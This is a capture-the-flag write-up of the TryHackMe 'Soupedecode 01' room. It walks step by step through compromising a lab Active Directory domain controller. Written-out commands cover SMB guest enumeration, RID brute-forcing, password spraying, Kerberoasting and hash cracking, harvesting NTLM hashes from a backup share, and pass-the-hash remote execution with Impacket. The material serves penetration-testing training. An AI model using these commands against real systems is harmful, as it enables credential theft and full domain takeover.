TryHackMe Soupedecode 01—Writeup
Welcome back to another writeup! In this post, I’ll be walking you through a detailed step-by-step breakdown of how I tackled and solved the Soupedecode 01 challenge on TryHackMe. We’ll go over my thought process, the tools I used, some roadblocks I encountered, and how I eventually pieced everything together to get the flag. If you’re also working on this room or just curious about the methodology behind solving CTF-style challenges, this writeup should give you both insights and practical takeaways.

Let's dive in!
Our first step is to perform a port scan with Nmap to see which services are exposed.
nmap -A 10.10.156.3

The Nmap scan revealed the following services running on the target:
DNS – Port 53
Kerberos – Ports 88, 464
SMB – Port 445
LDAP – Ports 389, 636
Global Catalog – Ports 3268, 3269
MSRPC/NetBIOS – Ports 135, 139
Remote Desktop Protocol (RDP) – Port 3389
Since there's a Domain Controller, we need to add the hostname and the domain name to our /etc/hosts file

Enumeration
Running enumeration against SMB with NetExec revealed that the guest account was allowed to log in, giving us read permissions on the IPC$ share.
nxc smb soupedecode.local -u guest -p '' --shares

Since the IPC$ share allowed read access, we leveraged it to perform a RID brute-force and enumerate domain users.
nxc smb soupedecode.local -u guest -p '' --rid

So many usernames, now we want to store it in a file as a list.
nxc smb soupedecode.local -u guest -p '' --rid > usernames.txt
Our focus is just on the usernames, so we’ll strip away the unnecessary output. To handle this efficiently, I created a Python script that automates the filtering.
import re
input_file = "usernames.txt"
output_file = "valid_usernames.txt"
with open(input_file, "r") as f:
lines = f.readlines()
usernames = []
for line in lines:
if "SOUPEDECODE\\" in line:
# Take everything after the first colon
parts = line.split(":", 1)
if len(parts) > 1:
data = parts[1]
# Extract content inside SOUPEDECODE\(...)
match = re.search(r"SOUPEDECODE\\(.*) \(SidType", data)
if match:
username = match.group(1)
if "$" not in username:
usernames.append(username)
with open(output_file, "w") as f:
for username in usernames:
f.write(username + "\n")
print(f"[+] Extracted {len(usernames)} usernames to {output_file}")Execute and a new file named valid_usernames.txt will be generated.

After gathering the usernames, we checked whether any of them were susceptible to AS-REP Roasting, but none of the accounts lacked preauthentication. Next, we attempted a round of password spraying using commonly chosen values—things like the domain name itself, season names, or simple year formats. These attempts did not succeed either. A mistake that often appears in such environments, though, is when an individual sets their password to match their own username.
nxc smb soupedecode.local -u valid_usernames.txt -p valid_usernames.txt --threads 10 --no-brute --continue-on-success
After some time, here's the result

A working credential was identified for the account ybob317. Now we proceeded with share enumeration for ybob317.
nxc smb soupedecode.local -u ybob317 -p ybob317 --shares

The results show that the Users folder can be browsed. The next step is to access the share directly.
smbclient //soupedecode.local/Users -U ybob317%ybob317

The user flag is located in \ybob317\Desktop .

User Flag

Using the obtained domain credentials, we enumerate for Kerberoastable accounts through Impacket’s GetUserSPNs.
impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip 10.10.205.165 -request -output hash.txt

We then use hashcat or john with the rockyou.txt wordlist to crack the hashes, eventually revealing the password for the file_svc account.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs hash.txt

Using the file_svc credentials, we enumerate the shares.
nxc smb soupedecode.local -u file_svc -p 'secret' --shares

As you can see, we now have access to the backup share.
smbclient //soupedecode.local/backup -U 'file_svc%<secret>'

Inside backup , there's a txt file named backup_extract.txt .

Notably, the share exposes NTLM hashes.
At this stage, we can attempt an NTLM hash spraying or pass-the-hash attack. However, before proceeding, we need to prepare a separate file that pairs each username with its corresponding hash. Below is a simple one-liner using awk to achieve this.
awk -F':' '{print $1 > "users.txt"; print $4 > "hashes.txt"}' backup_extract.txt
Now let's use NetExec to proceed with our attack.
nxc smb soupedecode.local -u users.txt -H hashes.txt --no-brute --threads 10
Here's the result

Next, we leverage Impacket’s smbexec to run commands remotely over SMB.
impacket-smbexec 'FileServer$'@soupedecode.local -hashes ':secret'

We're now Admin!! The root flag is located in C:Users\Adminstrator\Desktop .

We've successfully pwned Soupedecode 01!!!
This challenge highlights the importance of systematic enumeration in an Active Directory environment. By moving step by step — from identifying service accounts, cracking passwords, and enumerating shares, to harvesting NTLM hashes and finally achieving remote execution — we saw how small pieces of information can snowball into full domain compromise.
The key takeaway is simple: enumeration is the backbone of AD attacks. Each credential, share, and hash was only useful because we took the time to uncover them through careful probing. Without thorough enumeration, none of the later stages would have been possible.
In the end, this exercise reinforces the mindset that in penetration testing and red teaming, success doesn’t come from jumping straight to exploits — it comes from patiently gathering intel, chaining findings together, and pivoting with precision.
Last updated